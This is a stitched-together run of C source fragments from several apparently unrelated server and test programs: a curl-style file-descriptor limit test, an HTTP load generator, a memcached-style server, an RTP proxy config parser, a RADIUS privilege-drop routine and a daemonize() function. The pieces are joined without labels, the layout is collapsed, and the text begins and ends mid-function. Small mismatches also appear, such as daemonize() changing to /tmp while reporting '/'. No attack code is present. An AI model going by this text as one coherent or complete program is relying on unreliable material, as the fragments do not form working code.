rl.rlim_cur = rl.rlim_max; if (setrlimit(RLIMIT_NOFILE, &rl) != 0) { /* on failure don't abort just issue a warning */ store_errmsg("setrlimit() failed", ERRNO); fprintf(stderr, "%s\n", msgbuff); msgbuff[0] = '\0'; } /* get current open file limits */ if (getrlimit(RLIMIT_NOFILE, &rl) != 0) { store_errmsg("getrlimit() failed", ERRNO); fprintf(stderr, "%s\n", msgbuff); return -3; } /* show current open file limits */ #ifdef RLIM_INFINITY if (rl.rlim_cur == RLIM_INFINITY) strcpy(strbuff, "INFINITY"); else #endif sprintf(strbuff, fmt, rl.rlim_cur); fprintf(stderr, "current soft limit: %s\n", strbuff); #ifdef RLIM_INFINITY if (rl.rlim_max == RLIM_INFINITY) strcpy(strbuff, "INFINITY"); else #endif sprintf(strbuff, fmt, rl.rlim_max); fprintf(stderr, "current hard limit: %s\n", strbuff); } /* (rl.rlim_cur != rl.rlim_max) */ /* * test 518 is all about testing libcurl functionality * when more than FD_SETSIZE file descriptors are open. * This means that if for any reason we are not able to * open more than FD_SETSIZE file descriptors then test * 518 should not be run. */ /* * verify that soft limit is higher than NUM_NEEDED, * which is the number of file descriptors we would * try to open plus SAFETY_MARGIN to not exhaust the * file descriptor pool */ num_open.rlim_cur = NUM_NEEDED; if ((rl.rlim_cur > 0) && #ifdef RLIM_INFINITY (rl.rlim_cur != RLIM_INFINITY) && #endif (rl.rlim_cur <= num_open.rlim_cur)) { sprintf(strbuff2, fmt, rl.rlim_cur); sprintf(strbuff1, fmt, num_open.rlim_cur); sprintf(strbuff, "fds needed %s > system limit %s", strbuff1, strbuff2); store_errmsg(strbuff, 0); fprintf(stderr, "%s\n", msgbuff); return -4; } /* * reserve a chunk of memory before opening file descriptors to * avoid a low memory condition once the file descriptors are * open. System conditions that could make the test fail should * be addressed in the precheck phase. This chunk of memory shall * be always free()ed before exiting the rlimit() function so * that it becomes available to the test. */ for (nitems = i = 1; nitems <= i; i *= 2) nitems = i; if (nitems > 0x7fff) nitems = 0x40000; do { num_open.rlim_max = sizeof(*memchunk) * (size_t)nitems; sprintf(strbuff, fmt, num_open.rlim_max); fprintf(stderr, "allocating memchunk %s byte array\n", strbuff); memchunk = malloc(sizeof(*memchunk) * (size_t)nitems); if (!memchunk) { fprintf(stderr, "memchunk, malloc() failed\n"); nitems /= 2; } } while (nitems && !memchunk); if (!memchunk) { store_errmsg("memchunk, malloc() failed", ERRNO); fprintf(stderr, "%s\n", msgbuff); return -5; } /* initialize it to fight lazy allocation */ fprintf(stderr, "initializing memchunk array\n"); for (i = 0; i < nitems; i++) memchunk[i] = -1; /* set the number of file descriptors we will try to open */ num_open.rlim_max = NUM_OPEN; /* verify that we won't overflow size_t in malloc() */ if ((size_t)(num_open.rlim_max) > ((size_t)-1) / sizeof(*fd)) { sprintf(strbuff1, fmt, num_open.rlim_max); sprintf(strbuff, "unable to allocate an array for %s " "file descriptors, would overflow size_t", strbuff1); store_errmsg(strbuff, 0); fprintf(stderr, "%s\n", msgbuff); free(memchunk); return -6; } /* allocate array for file descriptors */ sprintf(strbuff, fmt, num_open.rlim_max); fprintf(stderr, "allocating array for %s file descriptors\n", strbuff); fd = malloc(sizeof(*fd) * (size_t)(num_open.rlim_max)); if (!fd) { store_errmsg("fd, malloc() failed", ERRNO); fprintf(stderr, "%s\n", msgbuff); free(memchunk); return -7; } /* initialize it to fight lazy allocation */ fprintf(stderr, "initializing fd array\n"); for (num_open.rlim_cur = 0; num_open.rlim_cur < num_open.rlim_max; num_open.rlim_cur++) fd[num_open.rlim_cur] = -1; sprintf(strbuff, fmt, num_open.rlim_max); fprintf(stderr, "trying to open %s file descriptors\n", strbuff); /* open a dummy descriptor */ fd[0] = open(DEV_NULL, O_RDONLY); if (fd[0] < 0) { sprintf(strbuff, "opening of %s failed", DEV_NULL); store_errmsg(strbuff, ERRNO); fprintf(stderr, "%s\n", msgbuff); free(fd); fd = NULL; free(memchunk); return -8; } /* create a bunch of file descriptors */ for (num_open.rlim_cur = 1; num_open.rlim_cur < num_open.rlim_max; num_open.rlim_cur++) { fd[num_open.rlim_cur] = dup(fd[0]); if (fd[num_open.rlim_cur] < 0) { fd[num_open.rlim_cur] = -1; sprintf(strbuff1, fmt, num_open.rlim_cur); sprintf(strbuff, "dup() attempt %s failed", strbuff1); fprintf(stderr, "%s\n", strbuff); sprintf(strbuff1, fmt, num_open.rlim_cur); sprintf(strbuff, "fds system limit seems close to %s", strbuff1); fprintf(stderr, "%s\n", strbuff); num_open.rlim_max = NUM_NEEDED; sprintf(strbuff2, fmt, num_open.rlim_max); sprintf(strbuff1, fmt, num_open.rlim_cur); sprintf(strbuff, "fds needed %s > system limit %s", strbuff2, strbuff1); store_errmsg(strbuff, 0); fprintf(stderr, "%s\n", msgbuff); for (num_open.rlim_cur = 0; fd[num_open.rlim_cur] >= 0; num_open.rlim_cur++) close(fd[num_open.rlim_cur]); free(fd); fd = NULL; free(memchunk); return -9; } } sprintf(strbuff, fmt, num_open.rlim_max); fprintf(stderr, "%s file descriptors open\n", strbuff); #if !defined(HAVE_POLL_FINE) && \ !defined(USE_WINSOCK) && \ !defined(TPF) /* * when using select() instead of poll() we cannot test * libcurl functionality with a socket number equal or * greater than FD_SETSIZE. In any case, macro VERIFY_SOCK * in lib/select.c enforces this check and protects libcurl * from a possible crash. The effect of this protection * is that test 518 will always fail, since the actual * call to select() never takes place. We skip test 518 * with an indication that select limit would be exceeded. */ num_open.rlim_cur = FD_SETSIZE - SAFETY_MARGIN; if (num_open.rlim_max > num_open.rlim_cur) { sprintf(strbuff, "select limit is FD_SETSIZE %d", FD_SETSIZE); store_errmsg(strbuff, 0); fprintf(stderr, "%s\n", msgbuff); close_file_descriptors(); free(memchunk); return -10; } num_open.rlim_cur = FD_SETSIZE - SAFETY_MARGIN; for (rl.rlim_cur = 0; rl.rlim_cur < num_open.rlim_max; rl.rlim_cur++) { if ((fd[rl.rlim_cur] > 0) && ((unsigned int)fd[rl.rlim_cur] > num_open.rlim_cur)) { sprintf(strbuff, "select limit is FD_SETSIZE %d", FD_SETSIZE); store_errmsg(strbuff, 0); fprintf(stderr, "%s\n", msgbuff); close_file_descriptors(); free(memchunk); return -11; } } #endif /* using a FD_SETSIZE bound select() */ /* * Old or 'backwards compatible' implementations of stdio do not allow * handling of streams with an underlying file descriptor number greater * than 255, even when allowing high numbered file descriptors for sockets. * At this point we have a big number of file descriptors which have been * opened using dup(), so lets test the stdio implementation and discover * if it is capable of fopen()ing some additional files. */ if (!fopen_works()) { sprintf(strbuff1, fmt, num_open.rlim_max); sprintf(strbuff, "stdio fopen() fails with %s fds open()", strbuff1); fprintf(stderr, "%s\n", msgbuff); sprintf(strbuff, "stdio fopen() fails with lots of fds open()"); store_errmsg(strbuff, 0); close_file_descriptors(); free(memchunk); return -12; } /* free the chunk of memory we were reserving so that it becomes becomes available to the test */ free(memchunk); /* close file descriptors unless instructed to keep them */ if (!keep_open) { close_file_descriptors(); } return 0; }
int main( int argc, char** argv ) { int argn; int start; #define START_NONE 0 #define START_PARALLEL 1 #define START_RATE 2 int start_parallel = -1, start_rate = -1; int end; #define END_NONE 0 #define END_FETCHES 1 #define END_SECONDS 2 int end_fetches = -1, end_seconds = -1; int cnum; char* url_file; char* sip_file; #ifdef RLIMIT_NOFILE struct rlimit limits; #endif /* RLIMIT_NOFILE */ fd_set rfdset; fd_set wfdset; struct timeval now; int i, r; max_connections = 64 - RESERVED_FDS; /* a guess */ #ifdef RLIMIT_NOFILE /* Try and increase the limit on # of files to the maximum. */ if ( getrlimit( RLIMIT_NOFILE, &limits ) == 0 ) { if ( limits.rlim_cur != limits.rlim_max ) { if ( limits.rlim_max == RLIM_INFINITY ) limits.rlim_cur = 8192; /* arbitrary */ else if ( limits.rlim_max > limits.rlim_cur ) limits.rlim_cur = limits.rlim_max; (void) setrlimit( RLIMIT_NOFILE, &limits ); } max_connections = limits.rlim_cur - RESERVED_FDS; } #endif /* RLIMIT_NOFILE */ /* Parse args. */ argv0 = argv[0]; argn = 1; do_checksum = do_throttle = do_verbose = do_jitter = do_proxy = 0; throttle = THROTTLE; sip_file = (char*) 0; idle_secs = IDLE_SECS; start = START_NONE; end = END_NONE; while ( argn < argc && argv[argn][0] == '-' && argv[argn][1] != '\0' ) { if ( strncmp( argv[argn], "-checksum", strlen( argv[argn] ) ) == 0 ) do_checksum = 1; else if ( strncmp( argv[argn], "-throttle", strlen( argv[argn] ) ) == 0 ) do_throttle = 1; else if ( strncmp( argv[argn], "-Throttle", strlen( argv[argn] ) ) == 0 && argn + 1 < argc ) { do_throttle = 1; throttle = atoi( argv[++argn] ) / 10.0; } else if ( strncmp( argv[argn], "-verbose", strlen( argv[argn] ) ) == 0 ) do_verbose = 1; else if ( strncmp( argv[argn], "-timeout", strlen( argv[argn] ) ) == 0 && argn + 1 < argc ) idle_secs = atoi( argv[++argn] ); else if ( strncmp( argv[argn], "-jitter", strlen( argv[argn] ) ) == 0 ) do_jitter = 1; else if ( strncmp( argv[argn], "-parallel", strlen( argv[argn] ) ) == 0 && argn + 1 < argc ) { start = START_PARALLEL; start_parallel = atoi( argv[++argn] ); if ( start_parallel < 1 ) { (void) fprintf( stderr, "%s: parallel must be at least 1\n", argv0 ); exit( 1 ); } if ( start_parallel > max_connections ) { (void) fprintf( stderr, "%s: parallel may be at most %d\n", argv0, max_connections ); exit( 1 ); } } else if ( strncmp( argv[argn], "-rate", strlen( argv[argn] ) ) == 0 && argn + 1 < argc ) { start = START_RATE; start_rate = atoi( argv[++argn] ); if ( start_rate < 1 ) { (void) fprintf( stderr, "%s: rate must be at least 1\n", argv0 ); exit( 1 ); } if ( start_rate > 1000 ) { (void) fprintf( stderr, "%s: rate may be at most 1000\n", argv0 ); exit( 1 ); } } else if ( strncmp( argv[argn], "-fetches", strlen( argv[argn] ) ) == 0 && argn + 1 < argc ) { end = END_FETCHES; end_fetches = atoi( argv[++argn] ); if ( end_fetches < 1 ) { (void) fprintf( stderr, "%s: fetches must be at least 1\n", argv0 ); exit( 1 ); } } else if ( strncmp( argv[argn], "-seconds", strlen( argv[argn] ) ) == 0 && argn + 1 < argc ) { end = END_SECONDS; end_seconds = atoi( argv[++argn] ); if ( end_seconds < 1 ) { (void) fprintf( stderr, "%s: seconds must be at least 1\n", argv0 ); exit( 1 ); } } else if ( strncmp( argv[argn], "-sip", strlen( argv[argn] ) ) == 0 && argn + 1 < argc ) sip_file = argv[++argn]; #ifdef USE_SSL else if ( strncmp( argv[argn], "-cipher", strlen( argv[argn] ) ) == 0 && argn + 1 < argc ) { cipher = argv[++argn]; if ( strcasecmp( cipher, "fastsec" ) == 0 ) cipher = "RC4-MD5"; else if ( strcasecmp( cipher, "highsec" ) == 0 ) cipher = "DES-CBC3-SHA"; else if ( strcasecmp( cipher, "paranoid" ) == 0 ) cipher = "AES256-SHA"; } #endif /* USE_SSL */ else if ( strncmp( argv[argn], "-proxy", strlen( argv[argn] ) ) == 0 && argn + 1 < argc ) { char* colon; do_proxy = 1; proxy_hostname = argv[++argn]; colon = strchr( proxy_hostname, ':' ); if ( colon == (char*) 0 ) proxy_port = 80; else { proxy_port = (unsigned short) atoi( colon + 1 ); *colon = '\0'; } } else usage(); ++argn; } if ( argn + 1 != argc ) usage(); if ( start == START_NONE || end == END_NONE ) usage(); if ( do_jitter && start != START_RATE ) usage(); url_file = argv[argn]; /* Read in and parse the URLs. */ read_url_file( url_file ); /* Read in the source IP file, if specified. */ if ( sip_file != (char*) 0 ) read_sip_file( sip_file ); /* Initialize the connections table. */ if ( start == START_PARALLEL ) max_connections = start_parallel; connections = (connection*) malloc_check( max_connections * sizeof(connection) ); for ( cnum = 0; cnum < max_connections; ++cnum ) connections[cnum].conn_state = CNST_FREE; num_connections = max_parallel = 0; /* Initialize the HTTP status-code histogram. */ for ( i = 0; i < 1000; ++i ) http_status_counts[i] = 0; /* Initialize the statistics. */ fetches_started = 0; connects_completed = 0; responses_completed = 0; fetches_completed = 0; total_bytes = 0; total_connect_usecs = 0; max_connect_usecs = 0; min_connect_usecs = 1000000000L; total_response_usecs = 0; max_response_usecs = 0; min_response_usecs = 1000000000L; total_timeouts = 0; total_badbytes = 0; total_badchecksums = 0; /* Initialize the random number generator. */ #ifdef HAVE_SRANDOMDEV srandomdev(); #else srandom( (int) time( (time_t*) 0 ) ^ getpid() ); #endif /* Initialize the rest. */ tmr_init(); (void) gettimeofday( &now, (struct timezone*) 0 ); start_at = now; if ( do_verbose ) (void) tmr_create( &now, progress_report, JunkClientData, PROGRESS_SECS * 1000L, 1 ); if ( start == START_RATE ) { start_interval = 1000L / start_rate; if ( do_jitter ) { low_interval = start_interval * 9 / 10; high_interval = start_interval * 11 / 10; range_interval = high_interval - low_interval + 1; } (void) tmr_create( &now, start_timer, JunkClientData, start_interval, ! do_jitter ); } if ( end == END_SECONDS ) (void) tmr_create( &now, end_timer, JunkClientData, end_seconds * 1000L, 0 ); (void) signal( SIGPIPE, SIG_IGN ); /* Main loop. */ for (;;) { if ( end == END_FETCHES && fetches_completed >= end_fetches ) finish( &now ); if ( start == START_PARALLEL ) { /* See if we need to start any new connections; but at most 10. */ for ( i = 0; i < 10 && num_connections < start_parallel && ( end != END_FETCHES || fetches_started < end_fetches ); ++i ) { start_connection( &now ); (void) gettimeofday( &now, (struct timezone*) 0 ); tmr_run( &now ); } } /* Build the fdsets. */ FD_ZERO( &rfdset ); FD_ZERO( &wfdset ); for ( cnum = 0; cnum < max_connections; ++cnum ) switch ( connections[cnum].conn_state ) { case CNST_CONNECTING: FD_SET( connections[cnum].conn_fd, &wfdset ); break; case CNST_HEADERS: case CNST_READING: FD_SET( connections[cnum].conn_fd, &rfdset ); break; } r = select( FD_SETSIZE, &rfdset, &wfdset, (fd_set*) 0, tmr_timeout( &now ) ); if ( r < 0 ) { perror( "select" ); exit( 1 ); } (void) gettimeofday( &now, (struct timezone*) 0 ); /* Service them. */ for ( cnum = 0; cnum < max_connections; ++cnum ) switch ( connections[cnum].conn_state ) { case CNST_CONNECTING: if ( FD_ISSET( connections[cnum].conn_fd, &wfdset ) ) handle_connect( cnum, &now, 1 ); break; case CNST_HEADERS: case CNST_READING: if ( FD_ISSET( connections[cnum].conn_fd, &rfdset ) ) handle_read( cnum, &now ); break; } /* And run the timers. */ tmr_run( &now ); } /* NOT_REACHED */ }
int main (int argc, char **argv) { int c; conn *l_conn; struct in_addr addr; int lock_memory = 0; int daemonize = 0; int maxcore = 0; char *username = 0; struct passwd *pw; struct sigaction sa; struct rlimit rlim; char *pid_file = NULL; /* init settings */ settings_init(); /* process arguments */ while ((c = getopt(argc, argv, "p:m:Mc:khirvdl:u:P:")) != -1) { switch (c) { case 'p': settings.port = atoi(optarg); break; case 'm': settings.maxbytes = atoi(optarg)*1024*1024; break; case 'M': settings.evict_to_free = 0; break; case 'c': settings.maxconns = atoi(optarg); break; case 'h': usage(); exit(0); case 'i': usage_license(); exit(0); case 'k': lock_memory = 1; break; case 'v': settings.verbose++; break; case 'l': if (!inet_aton(optarg, &addr)) { fprintf(stderr, "Illegal address: %s\n", optarg); return 1; } else { settings.interface = addr; } break; case 'd': daemonize = 1; break; case 'r': maxcore = 1; break; case 'u': username = optarg; break; case 'P': pid_file = optarg; break; default: fprintf(stderr, "Illegal argument \"%c\"\n", c); return 1; } } if (maxcore) { struct rlimit rlim_new; /* * First try raising to infinity; if that fails, try bringing * the soft limit to the hard. */ if (getrlimit(RLIMIT_CORE, &rlim)==0) { rlim_new.rlim_cur = rlim_new.rlim_max = RLIM_INFINITY; if (setrlimit(RLIMIT_CORE, &rlim_new)!=0) { /* failed. try raising just to the old max */ rlim_new.rlim_cur = rlim_new.rlim_max = rlim.rlim_max; (void) setrlimit(RLIMIT_CORE, &rlim_new); } } /* * getrlimit again to see what we ended up with. Only fail if * the soft limit ends up 0, because then no core files will be * created at all. */ if ((getrlimit(RLIMIT_CORE, &rlim)!=0) || rlim.rlim_cur==0) { fprintf(stderr, "failed to ensure corefile creation\n"); exit(1); } } /* * If needed, increase rlimits to allow as many connections * as needed. */ if (getrlimit(RLIMIT_NOFILE, &rlim) != 0) { fprintf(stderr, "failed to getrlimit number of files\n"); exit(1); } else { int maxfiles = settings.maxconns; if (rlim.rlim_cur < maxfiles) rlim.rlim_cur = maxfiles + 3; if (rlim.rlim_max < rlim.rlim_cur) rlim.rlim_max = rlim.rlim_cur; if (setrlimit(RLIMIT_NOFILE, &rlim) != 0) { fprintf(stderr, "failed to set rlimit for open files. Try running as root or requesting smaller maxconns value.\n"); exit(1); } } /* * initialization order: first create the listening socket * (may need root on low ports), then drop root if needed, * then daemonise if needed, then init libevent (in some cases * descriptors created by libevent wouldn't survive forking). */ /* create the listening socket and bind it */ l_socket = server_socket(settings.port); if (l_socket == -1) { fprintf(stderr, "failed to listen\n"); exit(1); } /* lose root privileges if we have them */ if (getuid()== 0 || geteuid()==0) { if (username==0 || *username=='\0') { fprintf(stderr, "can't run as root without the -u switch\n"); return 1; } if ((pw = getpwnam(username)) == 0) { fprintf(stderr, "can't find the user %s to switch to\n", username); return 1; } if (setgid(pw->pw_gid)<0 || setuid(pw->pw_uid)<0) { fprintf(stderr, "failed to assume identity of user %s\n", username); return 1; } } /* daemonize if requested */ /* if we want to ensure our ability to dump core, don't chdir to / */ if (daemonize) { int res; res = daemon(maxcore, settings.verbose); if (res == -1) { fprintf(stderr, "failed to daemon() in order to daemonize\n"); return 1; } } /* initialize other stuff */ item_init(); event_init(); stats_init(); assoc_init(); conn_init(); slabs_init(settings.maxbytes); /* lock paged memory if needed */ if (lock_memory) { #ifdef HAVE_MLOCKALL mlockall(MCL_CURRENT | MCL_FUTURE); #else fprintf(stderr, "warning: mlockall() not supported on this platform. proceeding without.\n"); #endif } /* * ignore SIGPIPE signals; we can use errno==EPIPE if we * need that information */ sa.sa_handler = SIG_IGN; sa.sa_flags = 0; if (sigemptyset(&sa.sa_mask) == -1 || sigaction(SIGPIPE, &sa, 0) == -1) { perror("failed to ignore SIGPIPE; sigaction"); exit(1); } /* create the initial listening connection */ if (!(l_conn = conn_new(l_socket, conn_listening, EV_READ | EV_PERSIST))) { fprintf(stderr, "failed to create listening connection"); exit(1); } /* initialise deletion array and timer event */ deltotal = 200; delcurr = 0; todelete = malloc(sizeof(item *)*deltotal); delete_handler(0,0,0); /* sets up the event */ /* save the PID in if we're a daemon */ if (daemonize) save_pid(getpid(),pid_file); /* enter the loop */ event_loop(0); /* remove the PID file if we're a daemon */ if (daemonize) remove_pidfile(pid_file); return 0; }
static void init_config(struct cfg *cf, int argc, char **argv) { int ch, i; char *bh[2], *bh6[2], *cp; const char *errmsg; struct passwd *pp; struct group *gp; bh[0] = bh[1] = bh6[0] = bh6[1] = NULL; cf->stable.port_min = PORT_MIN; cf->stable.port_max = PORT_MAX; cf->stable.max_ttl = SESSION_TIMEOUT; cf->stable.tos = TOS; cf->stable.rrtcp = 1; cf->stable.ttl_mode = TTL_UNIFIED; cf->stable.log_level = -1; cf->stable.log_facility = -1; pthread_mutex_init(&cf->glock, NULL); pthread_mutex_init(&cf->sessinfo.lock, NULL); pthread_mutex_init(&cf->bindaddr_lock, NULL); if (getrlimit(RLIMIT_NOFILE, &(cf->stable.nofile_limit)) != 0) err(1, "getrlimit"); while ((ch = getopt(argc, argv, "vf2Rl:6:s:S:t:r:p:T:L:m:M:u:Fin:Pad:")) != -1) switch (ch) { case 'f': cf->stable.nodaemon = 1; break; case 'l': bh[0] = optarg; bh[1] = strchr(bh[0], '/'); if (bh[1] != NULL) { *bh[1] = '\0'; bh[1]++; cf->stable.bmode = 1; } break; case '6': bh6[0] = optarg; bh6[1] = strchr(bh6[0], '/'); if (bh6[1] != NULL) { *bh6[1] = '\0'; bh6[1]++; cf->stable.bmode = 1; } break; case 's': if (strncmp("udp:", optarg, 4) == 0) { cf->stable.umode = 1; optarg += 4; } else if (strncmp("udp6:", optarg, 5) == 0) { cf->stable.umode = 6; optarg += 5; } else if (strncmp("unix:", optarg, 5) == 0) { cf->stable.umode = 0; optarg += 5; } cmd_sock = optarg; break; case 't': cf->stable.tos = atoi(optarg); if (cf->stable.tos > 255) errx(1, "%d: TOS is too large", cf->stable.tos); break; case '2': cf->stable.dmode = 1; break; case 'v': printf("Basic version: %d\n", CPROTOVER); for (i = 1; proto_caps[i].pc_id != NULL; ++i) { printf("Extension %s: %s\n", proto_caps[i].pc_id, proto_caps[i].pc_description); } exit(0); break; case 'r': cf->stable.rdir = optarg; break; case 'S': cf->stable.sdir = optarg; break; case 'R': cf->stable.rrtcp = 0; break; case 'p': pid_file = optarg; break; case 'T': cf->stable.max_ttl = atoi(optarg); break; case 'L': cf->stable.nofile_limit.rlim_cur = cf->stable.nofile_limit.rlim_max = atoi(optarg); if (setrlimit(RLIMIT_NOFILE, &(cf->stable.nofile_limit)) != 0) err(1, "setrlimit"); if (getrlimit(RLIMIT_NOFILE, &(cf->stable.nofile_limit)) != 0) err(1, "getrlimit"); if (cf->stable.nofile_limit.rlim_max < atoi(optarg)) warnx("limit allocated by setrlimit (%d) is less than " "requested (%d)", (int) cf->stable.nofile_limit.rlim_max, atoi(optarg)); break; case 'm': cf->stable.port_min = atoi(optarg); break; case 'M': cf->stable.port_max = atoi(optarg); break; case 'u': cf->stable.run_uname = optarg; cp = strchr(optarg, ':'); if (cp != NULL) { if (cp == optarg) cf->stable.run_uname = NULL; cp[0] = '\0'; cp++; } cf->stable.run_gname = cp; cf->stable.run_uid = -1; cf->stable.run_gid = -1; if (cf->stable.run_uname != NULL) { pp = getpwnam(cf->stable.run_uname); if (pp == NULL) err(1, "can't find ID for the user: %s", cf->stable.run_uname); cf->stable.run_uid = pp->pw_uid; if (cf->stable.run_gname == NULL) cf->stable.run_gid = pp->pw_gid; } if (cf->stable.run_gname != NULL) { gp = getgrnam(cf->stable.run_gname); if (gp == NULL) err(1, "can't find ID for the group: %s", cf->stable.run_gname); cf->stable.run_gid = gp->gr_gid; } break; case 'F': cf->stable.no_check = 1; break; case 'i': cf->stable.ttl_mode = TTL_INDEPENDENT; break; case 'n': if(strncmp("unix:", optarg, 5) == 0) optarg += 5; if(strlen(optarg) == 0) errx(1, "timeout notification socket name too short"); cf->timeout_socket = optarg; break; case 'P': cf->stable.record_pcap = 1; break; case 'a': cf->stable.record_all = 1; break; case 'd': cp = strchr(optarg, ':'); if (cp != NULL) { cf->stable.log_facility = rtpp_log_str2fac(cp + 1); if (cf->stable.log_facility == -1) errx(1, "%s: invalid log facility", cp + 1); *cp = '\0'; } cf->stable.log_level = rtpp_log_str2lvl(optarg); if (cf->stable.log_level == -1) errx(1, "%s: invalid log level", optarg); break; case '?': default: usage(); } if (cf->stable.rdir == NULL && cf->stable.sdir != NULL) errx(1, "-S switch requires -r switch"); if (cf->stable.no_check == 0 && getuid() == 0 && cf->stable.run_uname == NULL) { if (cf->stable.umode != 0) { errx(1, "running this program as superuser in a remote control " "mode is strongly not recommended, as it poses serious security " "threat to your system. Use -u option to run as an unprivileged " "user or -F is you want to run as a superuser anyway."); } else { warnx("WARNING!!! Running this program as superuser is strongly " "not recommended, as it may pose serious security threat to " "your system. Use -u option to run as an unprivileged user " "or -F to surpress this warning."); } } /* make sure that port_min and port_max are even */ if ((cf->stable.port_min % 2) != 0) cf->stable.port_min++; if ((cf->stable.port_max % 2) != 0) { cf->stable.port_max--; } else { /* * If port_max is already even then there is no * "room" for the RTCP port, go back by two ports. */ cf->stable.port_max -= 2; } if (!IS_VALID_PORT(cf->stable.port_min)) errx(1, "invalid value of the port_min argument, " "not in the range 1-65535"); if (!IS_VALID_PORT(cf->stable.port_max)) errx(1, "invalid value of the port_max argument, " "not in the range 1-65535"); if (cf->stable.port_min > cf->stable.port_max) errx(1, "port_min should be less than port_max"); cf->sessinfo.sessions = malloc((sizeof cf->sessinfo.sessions[0]) * (((cf->stable.port_max - cf->stable.port_min + 1) * 2) + 1)); cf->rtp_servers = malloc((sizeof cf->rtp_servers[0]) * (((cf->stable.port_max - cf->stable.port_min + 1) * 2) + 1)); cf->sessinfo.pfds = malloc((sizeof cf->sessinfo.pfds[0]) * (((cf->stable.port_max - cf->stable.port_min + 1) * 2) + 1)); if (bh[0] == NULL && bh[1] == NULL && bh6[0] == NULL && bh6[1] == NULL) { bh[0] = "*"; } for (i = 0; i < 2; i++) { if (bh[i] != NULL && *bh[i] == '\0') bh[i] = NULL; if (bh6[i] != NULL && *bh6[i] == '\0') bh6[i] = NULL; } i = ((bh[0] == NULL) ? 0 : 1) + ((bh[1] == NULL) ? 0 : 1) + ((bh6[0] == NULL) ? 0 : 1) + ((bh6[1] == NULL) ? 0 : 1); if (cf->stable.bmode != 0) { if (bh[0] != NULL && bh6[0] != NULL) errx(1, "either IPv4 or IPv6 should be configured for external " "interface in bridging mode, not both"); if (bh[1] != NULL && bh6[1] != NULL) errx(1, "either IPv4 or IPv6 should be configured for internal " "interface in bridging mode, not both"); if (i != 2) errx(1, "incomplete configuration of the bridging mode - exactly " "2 listen addresses required, %d provided", i); } else if (i != 1) { errx(1, "exactly 1 listen addresses required, %d provided", i); } for (i = 0; i < 2; i++) { cf->stable.bindaddr[i] = NULL; if (bh[i] != NULL) { cf->stable.bindaddr[i] = host2bindaddr(cf, bh[i], AF_INET, &errmsg); if (cf->stable.bindaddr[i] == NULL) errx(1, "host2bindaddr: %s", errmsg); continue; } if (bh6[i] != NULL) { cf->stable.bindaddr[i] = host2bindaddr(cf, bh6[i], AF_INET6, &errmsg); if (cf->stable.bindaddr[i] == NULL) errx(1, "host2bindaddr: %s", errmsg); continue; } } if (cf->stable.bindaddr[0] == NULL) { cf->stable.bindaddr[0] = cf->stable.bindaddr[1]; cf->stable.bindaddr[1] = NULL; } }
/* * Do chroot, if requested. * * Switch UID and GID to what is specified in the config file */ static int switch_users(CONF_SECTION *cs) { #ifdef HAVE_SYS_RESOURCE_H /* * Get the current maximum for core files. Do this * before anything else so as to ensure it's properly * initialized. */ if (getrlimit(RLIMIT_CORE, &core_limits) < 0) { ERROR("Failed to get current core limit: %s", fr_syserror(errno)); return 0; } #endif /* * Don't do chroot/setuid/setgid if we're in debugging * as non-root. */ if (debug_flag && (getuid() != 0)) return 1; if (cf_section_parse(cs, NULL, bootstrap_config) < 0) { fprintf(stderr, "radiusd: Error: Failed to parse user/group information.\n"); return 0; } #ifdef HAVE_GRP_H /* Set GID. */ if (gid_name) { struct group *gr; gr = getgrnam(gid_name); if (gr == NULL) { fprintf(stderr, "%s: Cannot get ID for group %s: %s\n", progname, gid_name, fr_syserror(errno)); return 0; } server_gid = gr->gr_gid; } else { server_gid = getgid(); } #endif #ifdef HAVE_PWD_H /* Set UID. */ if (uid_name) { struct passwd *pw; pw = getpwnam(uid_name); if (pw == NULL) { fprintf(stderr, "%s: Cannot get passwd entry for user %s: %s\n", progname, uid_name, fr_syserror(errno)); return 0; } if (getuid() == pw->pw_uid) { uid_name = NULL; } else { server_uid = pw->pw_uid; #ifdef HAVE_INITGROUPS if (initgroups(uid_name, server_gid) < 0) { fprintf(stderr, "%s: Cannot initialize supplementary group list for user %s: %s\n", progname, uid_name, fr_syserror(errno)); return 0; } #endif } } else { server_uid = getuid(); } #endif if (chroot_dir) { if (chroot(chroot_dir) < 0) { fprintf(stderr, "%s: Failed to perform chroot %s: %s", progname, chroot_dir, fr_syserror(errno)); return 0; } /* * Note that we leave chdir alone. It may be * OUTSIDE of the root. This allows us to read * the configuration from "-d ./etc/raddb", with * the chroot as "./chroot/" for example. After * the server has been loaded, it does a "cd * ${logdir}" below, so that core files (if any) * go to a logging directory. * * This also allows the configuration of the * server to be outside of the chroot. If the * server is statically linked, then the only * things needed inside of the chroot are the * logging directories. */ } #ifdef HAVE_GRP_H /* Set GID. */ if (gid_name && (setgid(server_gid) < 0)) { fprintf(stderr, "%s: Failed setting group to %s: %s", progname, gid_name, fr_syserror(errno)); return 0; } #endif #ifdef HAVE_SETUID /* * Just before losing root permissions, ensure that the * log files have the correct owner && group. * * We have to do this because the log file MAY have been * specified on the command-line. */ if (uid_name || gid_name) { if ((default_log.dest == L_DST_FILES) && (default_log.fd < 0)) { default_log.fd = open(mainconfig.log_file, O_WRONLY | O_APPEND | O_CREAT, 0640); if (default_log.fd < 0) { fprintf(stderr, "radiusd: Failed to open log file %s: %s\n", mainconfig.log_file, fr_syserror(errno)); return 0; } if (chown(mainconfig.log_file, server_uid, server_gid) < 0) { fprintf(stderr, "%s: Cannot change ownership of log file %s: %s\n", progname, mainconfig.log_file, fr_syserror(errno)); return 0; } } } if (uid_name) { doing_setuid = true; fr_suid_down(); } #endif /* * This also clears the dumpable flag if core dumps * aren't allowed. */ fr_set_dumpable(); if (allow_core_dumps) { INFO("Core dumps are enabled"); } return 1; }
void daemonize(const char* cmd) { int i, fd0, fd1, fd2; pid_t pid; struct rlimit rl; struct sigaction sa; /* clear file creation mask. */ umask(0); /* * Get maximum number of file descriptors. */ if(getrlimit(RLIMIT_NOFILE, &rl) < 0) err_quit("%s: can't get file limit", cmd); /* * Become a session leader to loss controlling TTY. */ if((pid = fork()) < 0) err_quit("%s: can't fork", cmd); else if(pid != 0) //parent exit(0); setsid(); printf("setsid success\n"); /* * Ensure future opens won't allocate controlling TTYs. */ sa.sa_handler = SIG_IGN; sigemptyset(&sa.sa_mask); sa.sa_flags = 0; if(sigaction(SIGHUP, &sa, NULL) < 0) err_quit("%s: can't ignore SIGHUP", cmd); if((pid = fork()) < 0) err_quit("%s: can't fork", cmd); else if(pid != 0) //parent exit(0); printf("second child\n"); /* * change the current working directory to the root so * we won't prevent file systems from being unmounted. */ if(chdir("/tmp") < 0) err_quit("%s: can't change directory to /", cmd); else printf("chdir successed\n"); /* * Close all open file descriptors. */ 